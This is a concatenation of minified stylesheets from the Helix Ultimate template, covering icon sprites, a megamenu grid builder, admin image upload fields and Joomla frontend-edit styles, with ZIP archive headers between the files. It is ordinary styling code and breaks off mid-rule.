.ui-icon{background-image:url("images/ui-icons_cc0000_256x240.png")}.ui-button .ui-icon{background-image:url("images/ui-icons_777777_256x240.png")}.ui-icon-blank{background-position:16px 16px}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{border-top-left-radius:3px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{border-top-right-radius:3px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{border-bottom-left-radius:3px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{border-bottom-right-radius:3px}.ui-widget-overlay{background:#aaa;opacity:.003;filter:Alpha(Opacity=.3)}.ui-widget-shadow{-webkit-box-shadow:0 0 5px #666;box-shadow:0 0 5px #666}PK!z/m�  /helixultimate/assets/css/admin/blog-options.cssnu&1i�.hu-image-upload-wrapper:empty{display:none}.hu-image-upload-wrapper{width:200px;display:block;margin-bottom:20px}.hu-image-upload-wrapper:not(.loading){height:200px;background:#f5f5f5;padding:5px;border:1px solid #e5e5e5}.hu-image-upload-wrapper img{display:block;height:100%;width:100%}.hu-image-item-loader{line-height:200px;text-align:center;font-size:24px}.btn.btn-hu-image-remove,.btn.btn-hu-image-upload{display:none}.hu-image-field-empty .btn-hu-image-upload{display:inline-block}.hu-image-field-has-image .btn-hu-image-remove{display:inline-block}.btn.btn-hu-gallery-item-upload{padding:11px 19px;font-size:16.25px;border-radius:4px}.hu-gallery-items{display:none;list-style:none;padding:0;margin:-10px}.hu-gallery-items:not(:empty){margin-bottom:15px;display:block}.hu-gallery-items li{position:relative;display:inline-block;margin:10px;cursor:move;border-radius:3px;overflow:hidden}.hu-gallery-items li.loading{width:200px}.hu-gallery-items li.loading .progress{margin-bottom:0}.btn-hu-remove-gallery-image{position:absolute;top:10px;right:10px}PK!�÷ִ.�.1helixultimate/assets/css/admin/menu.generator.cssnu&1i�.megamenu *,.megamenu ::after,.megamenu ::before{box-sizing:border-box}.hu-row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.hu-no-gutters{margin-right:0;margin-left:0}.hu-no-gutters>.hu-col,.hu-no-gutters>[class*=hu-col-]{padding-right:0;padding-left:0}.col,.hu-col-1,.hu-col-10,.hu-col-11,.hu-col-12,.hu-col-2,.hu-col-3,.hu-col-4,.hu-col-5,.hu-col-6,.hu-col-7,.hu-col-8,.hu-col-9,.hu-col-auto,.hu-col-lg,.hu-col-lg-1,.hu-col-lg-10,.hu-col-lg-11,.hu-col-lg-12,.hu-col-lg-2,.hu-col-lg-3,.hu-col-lg-4,.hu-col-lg-5,.hu-col-lg-6,.hu-col-lg-7,.hu-col-lg-8,.hu-col-lg-9,.hu-col-lg-auto,.hu-col-md,.hu-col-md-1,.hu-col-md-10,.hu-col-md-11,.hu-col-md-12,.hu-col-md-2,.hu-col-md-3,.hu-col-md-4,.hu-col-md-5,.hu-col-md-6,.hu-col-md-7,.hu-col-md-8,.hu-col-md-9,.hu-col-md-auto,.hu-col-sm,.hu-col-sm-1,.hu-col-sm-10,.hu-col-sm-11,.hu-col-sm-12,.hu-col-sm-2,.hu-col-sm-3,.hu-col-sm-4,.hu-col-sm-5,.hu-col-sm-6,.hu-col-sm-7,.hu-col-sm-8,.hu-col-sm-9,.hu-col-sm-auto,.hu-col-xl,.hu-col-xl-1,.hu-col-xl-10,.hu-col-xl-11,.hu-col-xl-12,.hu-col-xl-2,.hu-col-xl-3,.hu-col-xl-4,.hu-col-xl-5,.hu-col-xl-6,.hu-col-xl-7,.hu-col-xl-8,.hu-col-xl-9,.hu-col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.hu-col{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.hu-col-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.hu-col-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.hu-col-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.hu-col-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.hu-col-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.hu-col-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.hu-col-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.hu-col-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.hu-col-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.hu-col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.hu-col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.hu-col-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.hu-col-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}@media (min-width:576px){.hu-col-sm{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.hu-col-sm-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.hu-col-sm-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.hu-col-sm-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.hu-col-sm-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.hu-col-sm-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.hu-col-sm-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.hu-col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.hu-col-sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.hu-col-sm-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.hu-col-sm-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.hu-col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.hu-col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.hu-col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}}@media (min-width:768px){.hu-col-md{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.hu-col-md-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.hu-col-md-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.hu-col-md-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.hu-col-md-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.hu-col-md-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.hu-col-md-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.hu-col-md-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.hu-col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.hu-col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.hu-col-md-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.hu-col-md-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.hu-col-md-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.hu-col-md-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}}@media (min-width:992px){.hu-col-lg{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.hu-col-lg-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.hu-col-lg-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.hu-col-lg-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.hu-col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.hu-col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.hu-col-lg-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.hu-col-lg-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.hu-col-lg-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.hu-col-lg-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.hu-col-lg-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.hu-col-lg-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.hu-col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.hu-col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}}@media (min-width:1200px){.hu-col-xl{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.hu-col-xl-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.hu-col-xl-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.hu-col-xl-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.hu-col-xl-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.hu-col-xl-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.hu-col-xl-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.hu-col-xl-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.hu-col-xl-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.hu-col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.hu-col-xl-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.hu-col-xl-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.hu-col-xl-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.hu-col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}}.hu-megamenu-sidebar h3{height:40px;color:#000;font-size:16px;line-height:40px;margin:0 0 5px 0;padding:0}.hu-megamenu-sidebar h3 .fas{color:#1d85e9;margin-right:5px}.hu-megamenu-draggable-module{color:#656565;background:#fdfdfd;border:1px solid #f0f0f0;padding:10px;margin-bottom:10px;position:relative;cursor:move}.hu-megamenu-draggable-module .fas{margin-right:5px}.hu-megamenu-draggable-module:hover{background:#f1f1f1}.hu-megamenu-actions>div{display:inline-flex;margin-right:11px;padding-right:15px;border-right:1px solid #f0f0f0;align-items:center;margin-bottom:20px}.hu-megamenu-actions>div:last-child{margin-right:0;padding-right:0;border-right:0}.hu-megamenu-alignment a.active{background:#1d84e9;color:#fff}.hu-megamenu-actions input[type=number]{min-height:26px;width:60px}.hu-megamenu-actions input[type=text]{min-height:26px;width:160px}.hu-megamenu-actions .chzn-container-single{width:100px!important}.hu-megamenu-label{margin-right:10px;font-weight:500;color:#000}.hu-megamenu-row{background:#f5f5f5;border:1px solid #e6e6e6;padding:0 10px 10px;margin-bottom:20px}.hu-megamenu-row-actions{display:flex;color:#000;font-weight:500;padding-top:10px;padding-bottom:10px;cursor:move}.hu-action-detele-row{margin-left:auto;color:#0c0c0c;text-decoration:none}.hu-action-detele-row:hover{color:#d0021b;text-decoration:none}.hu-megamenu-column{padding:0 10px 10px;background:#fff;border:1px solid #e4e4e4}.hu-megamenu-column-actions{display:flex;color:#7d7d7d;font-weight:500;padding-top:10px;padding-bottom:10px;cursor:move}.hu-megamenu-item{position:relative;padding:10px;background:#f5f5f5;border:2px solid #e7e7e7;margin-bottom:10px}.hu-megamenu-item-list>div:last-child{margin-bottom:0}.hu-megamenu-item-list:empty{content:'Drop Module';position:relative;height:40px;line-height:40px;text-align:center;border:1px dashed #f0f0f0}.hu-megamenu-item-list:empty:after{content:'Drop Module'}.hu-megamenu-add-row{margin-top:30px;text-align:center}#hu-choose-megamenu-layout{color:#fff;background:#1d85e9;padding:10px 20px;border:0;border-radius:3px}#hu-megamenu-layout-modal{position:relative;max-width:800px;margin:20px auto 0;padding:20px 20px 10px 20px;background:#fff;box-shadow:0 2px 15px 0 #e8eef3;border-radius:3px}.hu-megamenu-layout-list{width:25%;float:left}.hu-megamenu-grids{margin-bottom:10px}.hu-megamenu-grids .hu-row{margin-left:-2.5px;margin-right:-2.5px}.hu-megamenu-grids .hu-row>div{padding-left:2.5px;padding-right:2.5px}.hu-megamenu-grids>div>div>div{background:#ccd6de;border-radius:2px;height:30px;line-height:30px;text-align:center}.hu-megamenu-remove-module{position:absolute;top:50%;right:10px;color:#626262;text-decoration:none;transform:translateY(-50%)}.hu-megamenu-remove-module:hover{color:#d0021b}input[type=checkbox].hu-checkbox{appearance:none;-webkit-appearance:none;-moz-appearance:none;border:0;width:46px;height:26px;background-image:linear-gradient(-53deg,#ff5000 0,#d53a57 100%);box-shadow:inset 1px 1px 3px 0 rgba(0,0,0,.1),inset -3px 3px 4px 0 rgba(0,0,0,.09);border-radius:100px;position:relative;display:inline-block;overflow:hidden;vertical-align:middle;box-sizing:border-box}input[type=checkbox].hu-checkbox:focus{outline:0}input[type=checkbox].hu-checkbox:after{content:'';position:absolute;top:2px;left:2px;width:22px;height:22px;background:#fff;box-shadow:-4px 3px 5px 0 rgba(0,0,0,.13);border-radius:100px;transition:left .1s cubic-bezier(.785,.135,.15,.86)}input[type=checkbox].hu-checkbox:checked{background-image:linear-gradient(-225deg,#3ad5a7 0,#00ff4f 100%);box-shadow:inset 1px 1px 3px 0 rgba(0,0,0,.1),inset -3px 3px 4px 0 rgba(0,0,0,.09)}input[type=checkbox].hu-checkbox:checked:after{left:22px;box-shadow:4px 3px 5px 0 rgba(0,0,0,.13)}input[type=checkbox].hu-checkbox:focus:not(:checked):not(:disabled):after,input[type=checkbox].hu-checkbox:hover:not(:checked):not(:disabled):after{left:2px}input[type=checkbox].hu-checkbox:focus:checked:not(:disabled):after,input[type=checkbox].hu-checkbox:hover:checked:not(:disabled):after{left:22px}input[type=checkbox].hu-checkbox:disabled{opacity:.5}.hide-menu-builder{display:none!important}.hu-megamenu-grids{cursor:pointer}PK!��
)��0helixultimate/assets/css/admin/devices-field.cssnu&1i�.helix-devices{text-align:right}.helix-devices .device-btn{border:none;background:0 0;outline:0;width:25px;height:25px;padding:3px;cursor:pointer;display:inline-flex;justify-content:center;align-items:center;transition:all 1s ease}.helix-devices .device-btn:hover{background:#b9d8fa;border-radius:100%}.helix-devices .device-btn:hover path{fill:#2a98ff}.helix-devices .device-btn.active{background:#b9d8fa;border-radius:100%}.helix-devices .device-btn.active path{fill:#2a98ff}PK!�d^��*helixultimate/assets/css/system-j3.min.cssnu&1i�.com-media .well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgb(0 0 0 / 5%);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgb(0 0 0 / 5%)}.com-media .row-fluid{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.com-media .row-fluid [class*=span]{position:relative;width:100%;padding-right:15px;padding-left:15px}.com-media .span12{flex-basis:100%}.com-media .span11{flex-basis:91.48936170212765%}.com-media .span10{flex-basis:82.97872340425532%}.com-media .span9{flex-basis:74.46808510638297%}.com-media .span8{flex-basis:65.95744680851064%}.com-media .span7{flex-basis:57.44680851063829%}.com-media .span6{flex-basis:48.93617021276595%}.com-media .span5{flex-basis:40.42553191489362%}.com-media .span4{flex-basis:31.914893617021278%}.com-media .span3{flex-basis:23.404255319148934%}.com-media .span2{flex-basis:14.893617021276595%}.com-media .span1{flex-basis:6.382978723404255%}.com-media .thumbnails{list-style:none;padding:0;margin:-7.5px;display:flex;flex-wrap:wrap}.com-media .thumbnails-media .thumbnail{background-color:#f4f4f4;border-radius:3px;border:0;padding:0;height:100px;width:100px;margin:7.5px;position:relative;text-align:center;overflow:hidden;margin-bottom:18px;box-shadow:0 0 0 1px rgb(0 0 0 / 5%) inset}.com-media .height-50{height:50px}.com-media .thumbnails-media .thumbnail .imgFolder span{line-height:90px;font-size:38px;margin:0;width:auto}.com-media .thumbnails-media .thumbnail .icon-folder,.com-media .thumbnails-media .thumbnail .icon-folder-2{width:30px;height:20px;display:inline-block;margin:auto;position:relative;background-color:#708090;border-radius:0 3px 3px 3px;margin-bottom:-8px;margin-top:12px}.com-media .thumbnails-media .thumbnail .icon-folder-2:before,.com-media .thumbnails-media .thumbnail .icon-folder:before{content:'';width:50%;height:.2em;border-radius:0 20px 0 0;background-color:#708090;position:absolute;top:-.2em;left:0}.com-media .thumbnails-media .thumbnail .small{margin-top:15px}PK!\�V�				*helixultimate/assets/css/frontend-edit.cssnu&1i�.layout-edit select,.layout-edit select.inputbox{width:250px;max-width:100%}.layout-edit .btn-toolbar{margin-bottom:20px}.layout-edit .tab-content{padding-top:20px}.layout-edit #editor-xtd-buttons,.layout-edit .toggle-editor{margin-top:20px}.layout-edit .btn-group input[type=radio]{display:none}iframe,svg{max-width:100%}#sbox-content>iframe{height:100%}.alert.alert-message{background-color:#dff0d8;border-color:#d6e9c6;color:#468847}.alert.alert-message h4{color:#468847}.manager.thumbnails{list-style:none;padding:0;margin:0 0 0 -20px}.manager.thumbnails li{text-align:center;display:block;float:left;width:80px;height:80px;line-height:18px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.055);box-shadow:0 1px 3px rgba(0,0,0,.055);position:relative}.manager.thumbnails li [class*=" icon-"],.manager.thumbnails li [class^=icon-]{font-size:14px;line-height:14px;color:#08c;display:inline-block;margin-top:6px}.manager.thumbnails li .height-50{margin-top:4px;height:50px;margin-bottom:4px}.manager.thumbnails li a{text-decoration:none;color:#08c;font-size:13px}.manager.thumbnails li:hover{background:#f7fcff;border-color:rgba(82,168,236,.8);-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6);-webkit-transition:all .4s;transition:all .4s}#mailto-window{margin:20px}#mailto-window>h2{font-size:18px;margin-top:0}#mailto-window input[type=text]{height:auto!important}.chzn-container.chzn-container-multi input[type=text]{min-height:30px}.com-content-adminForm textarea{width:350px;height:100px}.com-content-adminForm .input-prepend.input-append .media-preview.add-on{height:34px;line-height:26px}.modal.modal-btn{position:relative;display:inline-block}.com-config .form-horizontal .accordion-body{overflow:hidden}.com-config .form-horizontal .accordion-body.in:hover{overflow:visible}.com-config .form-horizontal .accordion-body .input-prepend.input-append .media-preview.add-on{height:34px;line-height:26px}.com-config .form-horizontal .accordion-body .input-prepend.input-append .btn{position:relative;cursor:pointer;color:#333;border:1px solid 